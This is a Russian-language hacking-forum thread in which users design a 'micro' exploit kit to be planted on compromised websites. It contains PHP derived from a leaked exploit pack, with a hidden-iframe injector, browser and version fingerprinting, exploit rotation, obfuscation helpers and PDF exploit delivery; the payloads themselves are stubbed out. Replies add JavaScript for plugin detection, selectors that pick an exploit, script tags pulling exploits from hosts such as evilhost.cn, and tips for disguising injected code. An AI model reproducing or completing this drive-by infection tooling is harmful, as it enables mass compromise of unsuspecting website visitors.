• XSS.stack #1 – первый литературный журнал от юзеров форума

Пишем приват микросвязку сплойтов

TrueUser

(L1) cache
Пользователь
Регистрация
13.07.2009
Сообщения
540
Реакции
2
Брифинг:
Как то блуждая по форумам сходной тематики, наткнулся на обсуждение проблемы сокрытия ифрейма связки на сайте жертвы. Было предложено много типовых и ожидаемых решений - в основном на основе JavaScript обфускации и шифровании. Были классные идеи по запрятыванию ифрейма в файлы картинок и т.п. НО...
Меня посетила идея размещения кода связки (в частности ротатора и непосредственно самих сплойтов) на хакнутом сервере.
Что это дает?
  • Отпадает необходимость в антиабузном хостинге ибо код сплойтов храниться на сервере жертвы.
  • Существенно снижается нагрузка на сервер с админкой, так как запросы идут только с пробитых машин.
  • Возможно повышается сложность поиска хозяина связки за счет отсутствия прямых ссылок и редиректов (в проценте пробива связки).
  • Палевность запросов "на сторону" с индекса сайта гораздо выше палевности запросов на внутренние скрипты.
Конечно идея не снимает многих проблем, однако открывает путь для дальнейших изысканий на тему.

Солюшн:
Предлагаю Вашему вниманию код, реализующий предложенное выше решение. За основу была взята слитая в пабл связка YES 1.2.3. Рабочие сплойты были выкорчеваны из связки дабы не обижать автора и использовались только на этапе тестирования. Также из кода убран криптор связки. Для интересующихся вопросом я думаю не составит труда оживить связку.

Код:
<?php
//Путь к связке
$pack_url = 'http://' . $_SERVER['HTTP_HOST'] . '/test_micro/pack.php';

//Путь до лоадера
$url = 'http://www.site.ru/admin_micro/load.php';

//Путь к ПДФ сплойту
$spl = $pack_url . '?go=1&pdf=1';
if ($_GET['go'] != 1) {
	
    //Автоифреймер
    echo '<iframe src="' . $pack_url .
        '?go=1" width=0 height=0 frameborder=0></iframe>';
} else {
	
    //Работа связки
	
    /**
     * ************************ ФУНКЦИИ ********************
     */

    //Генератор имен
    $s = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
        'o', 'p', 'r', 's', 't', 'u', 'v', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
        'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'R', 'S', 'T', 'U', 'V', 'X',
        'Y', 'Z');
    $var00 = $s[rand(0, 23)] . rand(0, 99) . $s[rand(0, 23)];
    $var01 = $s[rand(0, 23)] . rand(0, 99) . $s[rand(0, 23)];
    $var02 = $s[rand(0, 23)] . rand(0, 99) . $s[rand(0, 23)];
    $var03 = $s[rand(0, 23)] . rand(0, 99) . $s[rand(0, 23)];
    $var04 = $s[rand(0, 23)] . rand(0, 99) . $s[rand(0, 23)];
    //...

    //Декодирование строки unescape
    function _rawcode($cont)
    {
        $cont = rawurlencode($cont);
        $cont = '<script>eval(unescape("' . $cont . '"));</script>';
        return $cont;
    }

    //Преобразование в hex формат строки
    function hex($string)
    {
        $str = bin2hex($string);
        $str = chunk_split($str, 2);
        $str = str_replace("\r\n", '%', $str);
        $str = "%$str";
        $n = strlen($str);
        for ($i = 0; $i <= $n - 2; $i++) {
            $res .= $str[$i];
        }
        return $res;
    }

    //Криптование сплойта
    function _encode($enc_str, $n)
    {
        //Код убран по идейным соображениям
    }

    //Кодирование кода в unescape
    function unescape($shcode)
    {
        $generate = null;
        $source = strtoupper(bin2hex($shcode));
        $g = round(strlen($source) / 4);
        if ($g != (strlen($source) / 4))
            $source .= "00";
        for ($i = 0; $i < strlen($source); $i += 4)
            $generate .= "%u" . substr($source, $i + 2, 2) . substr($source, $i, 2);
        return $generate;
    }

    //Сплойты
    $msie_00 = 'Код убран по идейным соображениям';

    $msie_01 = 'Код убран по идейным соображениям';

    $msie_02 = 'Код убран по идейным соображениям';

    $msie_03 = 'Код убран по идейным соображениям';

    $msie_04 = 'Код убран по идейным соображениям';
    
    $etc_00 = 'Код убран по идейным соображениям';
    
    $etc_02 = 'Код убран по идейным соображениям';
    
    $etc_03 = 'Код убран по идейным соображениям';

    $opera_00 = 'Код убран по идейным соображениям';

    $firefox_00 = 'Код убран по идейным соображениям';

    $firefox_01 = 'Код убран по идейным соображениям';

    $firefox_02 = 'Код убран по идейным соображениям';

    $firefox_03 = 'Код убран по идейным соображениям';

    $opera_01 = 'Код убран по идейным соображениям';

    $osx = 'Код убран по идейным соображениям';

    $xml = 'Код убран по идейным соображениям';

    if ($_GET['pdf'] != 1) {

        /**
         * ************************ РОТАТОР ********************
         */

        //Проверка на уникальность
        if (isset($_COOKIE['micro_pack'])) {
            die();
        }

        //Заголовки
        @ob_start('ob_gzhandler');
        error_reporting(0);
        ignore_user_abort(1);

        //Определяем браузер
        $user_agent = $_SERVER['HTTP_USER_AGENT'];
        if (eregi("(opera) ([0-9]{1,2}.[0-9]{1,3}){0,1}", $user_agent, $vers) or eregi("(opera/)([0-9]{1,2}.[0-9]{1,3}){0,1}",
            $user_agent, $vers)) {
            $browser = 'Opera ' . $vers[2];
            $programm = 'Opera';
        } elseif (eregi("(konqueror)/([0-9]{1,2}.[0-9]{1,3})", $user_agent, $vers)) {
            $browser = 'Konqueror ' . $vers[2];
            $programm = 'Konqueror';
        } elseif (eregi("(msie) ([0-9]{1,2}.[0-9]{1,3})", $user_agent, $vers)) {
            $programm = 'Internet Explorer';
            $browser = 'Internet Explorer ' . $vers[2];
        } elseif (eregi("(netscape6)/(6.[0-9]{1,3})", $user_agent, $vers)) {
            $browser = 'Netscape ' . $vers[2];
            $programm = 'Netscape';
        } elseif (eregi("(firefox)/([0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2})", $user_agent, $vers) or
        eregi("(firefox)/([0-9]{1,2}.[0-9]{1,2})", $user_agent, $vers)) {
            $programm = 'FireFox';
            $browser = 'Firefox ' . $vers[2];
        } elseif (eregi("(mozilla)/([0-9]{1,2}.[0-9]{1,3})", $user_agent, $vers)) {
            $programm = 'Mozilla';
            $browser = 'Mozilla ' . $vers[2];
        } else {
            $browser = 'Unknown';
            $programm = 'Unknown';
        }


        //Ставим куки
        $cookie_time = 99999;
        SetCookie('micro_pack', md5(rand(0, 999)), time() + $cookie_time);

        //Открываем документ
        echo '<html><head>
<script>
window.onerror =  return(true);
</script>
<style>
div {display:none;}
b {display:none;}
</style>
</head><body>';

        //Подключаем ротатор сплойтов
        if ($programm == 'Internet Explorer' && $vers[2] < '6') {
            echo _encode($msie_00, 1);
            echo _encode($msie_01, 2);
            echo _encode($msie_02, 3);
        } elseif ($programm == 'Internet Explorer' && $vers[2] >= '6' && $vers[2] < '7') {
            echo _encode($msie_00, 1);
            echo _encode($msie_01, 2);
            echo _encode($msie_02, 3);
            echo _encode($etc_03, 5);
            echo _encode($osx, 9);
        } elseif ($programm == 'Internet Explorer' && $vers[2] >= '7') {
            echo _encode($msie_00, 1);
            echo _encode($msie_01, 2);
            echo _encode($msie_02, 3);
            echo _encode($etc_03, 4);
            echo _encode($msie_04, 5);
            echo _encode($osx, 9);
            if ($vers[2] >= '8') {
                echo _encode($xml, 8);
            }
        } elseif ($programm == 'FireFox') {
            echo _encode($firefox_00, 1);
            if ($vers[2] <= '1.1')
                echo _rawcode($firefox_01);
            elseif ($vers[2] > '1.1' && $vers[2] <= '1.5')
                echo _encode($firefox_03, 3);
            echo _encode($etc_00, 4);
            echo _encode($firefox_02, 2);
        } elseif ($programm == 'Opera') {
            if ($vers[2] <= '9.23')
                echo _rawcode($opera_00);
            echo _encode($etc_02, 1);
            echo _encode($opera_01, 2);
        } elseif ($programm == 'Mozilla') {
            echo _encode($firefox_00, 1);
            echo _encode($etc_00, 2);
        } else {
            echo _encode($etc_00, 0);
        }

        //Закрываем документ
        echo '</body></html>';
        @ob_end_flush();
        exit;
    } else {

        /**
         * ************************ PDF СПЛОЙТ ********************
         */

        error_reporting(0);
        
        $script = gzcompress('Код убран по идейным соображениям');
        $pdf = base64_decode('Код убран по идейным соображениям');
        $pdf = str_replace('#replace_one#', strlen($script), $pdf);
        $pdf = str_replace('#replace_two#', $script, $pdf);
        $pdf = str_replace('#replace_1#', rand(0, 9999), $pdf);
        $pdf = str_replace('#replace_2#', rand(1, 9999), $pdf);
        $pdf = str_replace('#replace_3#', rand(2, 9999), $pdf);
        $pdf = str_replace('#replace_4#', rand(3, 9999), $pdf);
        $pdf = str_replace('#replace_5#', rand(4, 9999), $pdf);
        $pdf = str_replace('#replace_6#', rand(5, 9999), $pdf);
        $pdf = str_replace('#replace_7#', rand(6, 9999), $pdf);
        $pdf = str_replace('#replace_8#', rand(7, 9999), $pdf);
        header("Accept-Ranges: bytes\r\n");
        header("Content-Length: " . strlen($pdf) . "\r\n");
        header("Content-Disposition: inline; filename=" . $var18 . ".pdf");
        header("\r\n");
        header("Content-Type: application/pdf\r\n\r\n");
        die($pdf);
    }
}
?>

Дискуссия:
Сразу могу сказать, что метод автоифрема на себя предложенный в коде однозначно неидеален и стоит серьезно задуматься над методом подачи связки (сейчас это делается простым инклюдом в теле индекса). Такой способ был использован на этапе тестирования и нуждается в совершенствовании.
Также на данном этапе нет обфускации кода самой микросвязки.
Админку я не предлагаю по крайней мере тот вариант что я использовал - грузил файл и записывал айпишник в лог.

Надеюсь общими усилиями форумчан выяснить актуальность такого подхода. Может кто проанализирует написанный код и выдаст идею в корне улучшающую мои наработки. Так же хотелось бы обсудить узкие моменты моей реализации. Я с удовольствием выслушаю конструктивную критику и приму к сведению советы несущие смысловую нагрузку.
Огромная просьба не флудить в моем топе. т.к. попи*деть я и в магазине могу, а здесь я отписал для организации интересного кодинга. Надеюсь вы примете непосредственное участие в разработке. Соответственно, получите на руки практически готовую связку. Ну чем не стимул?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Реализация выдачи сплойтов считаю старым и не правильным методом.
Выдача 2-х или более одновременно сплойтов приведёт к тому что не один не сработает как надо в 99%
Выдача должна быть интелектуальной, сплойты не только деляться на браузеры и ОС, но ещё и на плагины не все сплойты под браузеры большенство под плагины браузеров и надо смотреть установлен ли этот плагин, так же в каждом сплойте при срабатывании можно определить и передать его в следующий сплойт, что бы он не срабатывал раньше или одновременно чем первый.
Ну вообще в написании связок и сплойтов много ньюансов которые многие современные связки не используют потому их авторы даже язык программирования не знают на котором пишут, что уж там говорить про теории разработки связок и сплойтов. :)
 
Ну хорошо, про анализ наличия определенных плагинов - согласен, правда проводить его, я как понимаю, надо уже на машине пользователя средствами JavaScript. Второй варинт - выстраивание сплойтов в цепочку. Такое решение мне тоже где то попадалось на глаза (по моему в Ice Pack) там сплойты взываются в одной функции рекурсивно.
Мне бы хотелось услышать мнение и конструктивные предложения непосредственно по предложенному механизму размещения связки на хакнутом сервере. По большому счету любую связку из ее базового варианта можно преобразовать в микро вариант (а следовательно сохранить ее уникальные возможности подачи сплойта). Просто YES оказался более податлив да и под руку поался удачно.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну хорошо, про анализ наличия определенных плагинов - согласен, правда проводить его, я как понимаю, надо уже на машине пользователя средствами JavaScript.
Ну как бы хитрости типа <script src="http://evilhost.cn/info.php?plugin=xvid&os=xp&browser=opera"></script> никто не отменял, подставляешь данные полученные js и получаешь код эксплойта, эм!? :))

Второй варинт - выстраивание сплойтов в цепочку. Такое решение мне тоже где то попадалось на глаза (по моему в Ice Pack) там сплойты взываются в одной функции рекурсивно.
Ты прав и не только там этот способ юзается чаще но и почти в 99% случаев не верно подобраны сплойты между собой они мешают работе друг друга или после неудачном срабатывании одного другие потом с ошибкой исполняются и не пробивают, это же js с ним надо миллион раз отлаживать.

Мне бы хотелось услышать мнение и конструктивные предложения непосредственно по предложенному механизму размещения связки на хакнутом сервере.
Самое лучшее что я тебе могу предложить это пересмотреть в корне процесс инфицирования хоста. Сделай на примере выше:
<script src="http://evilhost.cn/info.php?plugin=xvid&os=xp&browser=opera"></script>
В коде сайта это менее заметно если особенно будут переменные, посмотри как сделана стата гугла, сделать копию что бы не бросалась в глаза не составляет труда, весь код сплойтов спрятам в отдельных js файлах что не кидается в глаза.
Осталось сделать интелектуальную выдачу опять же на чистом js. Как я понимаю стата в микросвязки не нужна, значит можно сделать абсолютно всё на js кроме криптора, хотя у меня есть и едеи криптора на js хотя микросвязку при установке лучше криптованную делать что бы не было там лишних php скриптов.
Дальше сам додумывай имхо тут тебе никто свои идеи на которых можно сделать бабки не расскажет не то время к сожалению, хотя я бы с радостью вернул всё назад лет так на 5.
 
Отлично! Гранд мерси, Одинокий Волк.

Значит идея такая:
1. Пишется яваскрипт - анализатор версии браузера и типа плагинов. Этот яваскрипт вставляется в тело индекса как есть (<script src="/js/analisator.js"></script>). Он определяет необходимые параметры.
2. Вызывается (в зависимости от параметров) один из набора скрипт-сплойтов, заранее закриптованных при инсталляции(document.write('<script src="/js/ie7_flash.js"></script>')). Для каждого набора параметров - свой скрипт-сплойт, натравленный на хост с лоадером и админкой.

Пока вижу один существенный минус - большое количество файлов скриптов, которые могут бросаться в глаза.
И вот еще что - JavaScript я знаю существенно хуже PHP поэтому хочу попросить помощи у форумчан в вопросах определения наличия определенных плагинов средствами яваскрипта. Может кто уже сталкивался с этим и знает где можно почерпнуть готовые решения. Заранее спасибо!
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Как раз определить плагины можно через javascript я бы вообще отказался от пхп для этой идеи. Имхо js загружается и работает исключительно на машине клиента передавая все данные и т.п. используя аякс или псевдо передачу (<img src="host.cn/script.php?data=123">, <script src="host.cn/script.php?data=123">) что угодно, это обходит все защиты компа(фаеры, проактивки), т.к. это всего лишь сценарий из браузера :)

А плагины добывать можно например вот так:
Код:
<script language='JavaScript'>

if(navigator.plugins){

    var n=navigator;

    var l=n.plugins.length;

    var d=document;

    if(l>0){for(i=0;i<l;i++){

        var pl=n.plugins[i];

        var f=pl.filename.substring(pl.filename.lastIndexOf('\\\\')+1,pl.filename.length);

        document.write('<b>Название:</b> '+pl.name+' <b>Описание:</b> '+pl.description+' <b>Файл:</b> '+f+'
');

    }}

}

</script>
Дальше совмести первую часть мою и вторую и получиться с компа жертвы ты получаешь все плагины и т.п. и с сервера нужные сплойты строишь урл из полученных данных например
Код:
<script language='JavaScript'>
switch(pl.name){
  case 'QuickTime DivX':
    var spl = 'quicktime';
    if(pl.description) // вырезаешь регой версию проверяешь если такая-то то var ver = 7; если нет то var ver = all;
  break;
}
document.write('<script src="http://host.cn/sploites/'+spl+'-'+ver+'.js"></script>');
</script>
Дальше на серваке раскиданы твои сплойты уже по версиям и номиналам имена их можно рандомить или делать менее приметными типа core-1-7.js core-1-10.js посмотри что на форумах часто юзают за имена и переменные просто spl и ver будут не текстовые а номера сплойтов так не будет понятно что это)

В любом случаи подходы могут быть разные, это конечно давно уже придумали и использовали, но можно всегда придумать что-то новое и лучше ;)
 
Одинокий Волк,а если js отключён в настройках браузера?)
Тогда мы благополучно обломались как в прочем и в любом другом случае (кроме пдф сплойта наверное точно не знаю).

2 Одинокий Волк:
Благодарю за ценные советы. Изучаю вопрос на данный момент.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Одинокий Волк,а если js отключён в настройках браузера?)
А если у него вообще нет браузера?
По сути: любой сплойт это 90% код javascript потому что он должен выполниться на стороне клиента. Кроме js на стороне клиента могут выполняться только файлы exe, pdf, wmv, avi в которых так же есть локальные сплойты.
Если честно не ожидал от тебя такого вопроса :)
 
Начал разбираться с предложенными идеями - с определением типа и версии браузера (а также плагинов), спасибо Одинокому волку, все получилось хорошо.
Теперь появились еще интересующие меня темы:
Так как я начал делать на базе многострадального Yes, то особого разнообразия спойтов в нем не нашел (есть под ИЕ отдельно под разные версии, а также естественно под оперу и файрфокс, также в виде одного модуля выполнен пдф сплойт), поэтому хотелось очень как то определиться с классификацией сплойтов, что бы по крайней мере не имея сплойтов самих заложить их в функционал связки. Я конечно понимаю, что никто вот так вот не выложит инфу о тестировании самых разных сплойтов на разных версиях браузеров, но какие то общие вопросы может можно отписать :help:
 
Вот примерная версия того что должен делать селектор скрипт-сплойтов.
Код:
//Определяем тип и версию браузера

var UserAgentVers = '';
var UserAgent = '';
if(window.navigator.userAgent.indexOf("Opera") >= 0) {
   UserAgent = 'Opera';
   UserAgentVers=window.navigator.userAgent.substr(window.navigator.userAgent.indexOf("Opera")+6,4);
}
else
if(window.navigator.userAgent.indexOf("Gecko") >= 0) {
   UserAgent = 'Netscape';
   UserAgentVers=window.navigator.userAgent.substr(window.navigator.userAgent.indexOf("Gecko")+6,8)+ ' ('+ window.navigator.userAgent.substr(8,3) + ')';
}
else
if(window.navigator.userAgent.indexOf("MSIE") >= 0) {
   UserAgent = 'Explorer';
   UserAgentVers=window.navigator.userAgent.substr(window.navigator.userAgent.indexOf("MSIE")+5,3);
}
else 
   UserAgent = 'Unknown';

//Определяем наличие плагинов

var pdf_plugin = 0;
var flash_plugin = 0;
var office_plugin = 0;
var qtime_plugin = 0;
if(navigator.plugins){
	if(navigator.plugins.length > 0){
  for(i = 0; i < navigator.plugins.length; i++){
  	if(navigator.plugins[i].name.indexOf("PDF")) {
    pdf_plugin = 1;
  	}
  	if(navigator.plugins[i].name.indexOf("Flash")) {
    flash_plugin = 1;
  	}
  	if(navigator.plugins[i].name.indexOf("Office")) {
    office_plugin = 1;
  	}
  	if(navigator.plugins[i].name.indexOf("QTime")) {
    qtime_plugin = 1;
  	}
    	}
	}
}

//Выбираем актуальный сплойт

var sploit = '';
var reg;
switch (UserAgent) {
	case 'Opera':
  if(pdf_plugin) {
  	sploit = 'pdf';
  	break;
  }
  reg = /[7,8]\.+/;
  if(UserAgentVers.match(reg)) {
  	sploit = 'opera_1';
  } else {
  	sploit = 'opera_2';
  }
	break;
	case 'Netscape':
  if(pdf_plugin) {
  	sploit = 'pdf';
  	break;
  }
  reg = /1\.1/;
  if(UserAgentVers.match(reg)) {
  	sploit = 'netscape_1';
  } else {
  	reg = /1\.+/;
  	if(UserAgentVers.match(reg)) {
    sploit = 'netscape_2';
  	}
  }
	break;
	case 'Explorer':
  if(pdf_plugin) {
  	sploit = 'pdf';
  	break;
  }
  reg = /[4,5]\.+/;
  if(UserAgentVers.match(reg)) {
    sploit = 'explorer_1';
    break;
  }
  reg = /6\.+/;
  if(UserAgentVers.match(reg)) {
    sploit = 'explorer_2';
    break;
  }
  reg = /7\.+/;
  if(UserAgentVers.match(reg)) {
    sploit = 'explorer_3';
    break;
  }
  reg = /8\.+/;
  if(UserAgentVers.match(reg)) {
    sploit = 'explorer_4';
    break;
  }
	break;
	case 'Unknown':
  if(pdf_plugin) {
  	sploit = 'pdf';
  	break;
  }
	break;
}

alert('Browser: ' + UserAgent + '; Version: ' + UserAgentVers + '; Sploit: ' + sploit + '.');
Конечно вместо алерта в конце должен быть документ врайт с подключением скрипт-сплойта. Теперь остро стоит вопрос о том какие же сплойты необходимы для разных конфигураций браузеров. Самый простой вариант пожалуй представлен в коде - это классификация по типу и версии браузера, а также по наличию пдф плагина. (Возможно я сделал не правильно, что отдал приоритет на исполнениие именно пдф сплойту, может кто что скажет по этому поводу...).
Если есть инфа о рабочих сплойтах под разные плагины - не сочтите за труд отписать тут.
Есть еще момент - после отработки пдф сплойта с задержкой по таймеру пустить еще и сплойт под сам браузер. Может это лишнее?
 
Идея, на мой взгляд, весьма убыточная с точки зрения сохраниения фтп/шелов и etc. Когда стоит фрейм на какой-либо вредоносный линк, то, собственно, его и банят т.к. вокруг не идиоты и все понамают, что ни один здоровый человек не будет ставить фреймы на свой белый проект, но если у авов не будет других нитей, то в конечном счете хост и забанят. Мб хост и проживет подольше обычного, но в итоге одна абуза (а она рано или поздно будет) и бб ваш траф.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх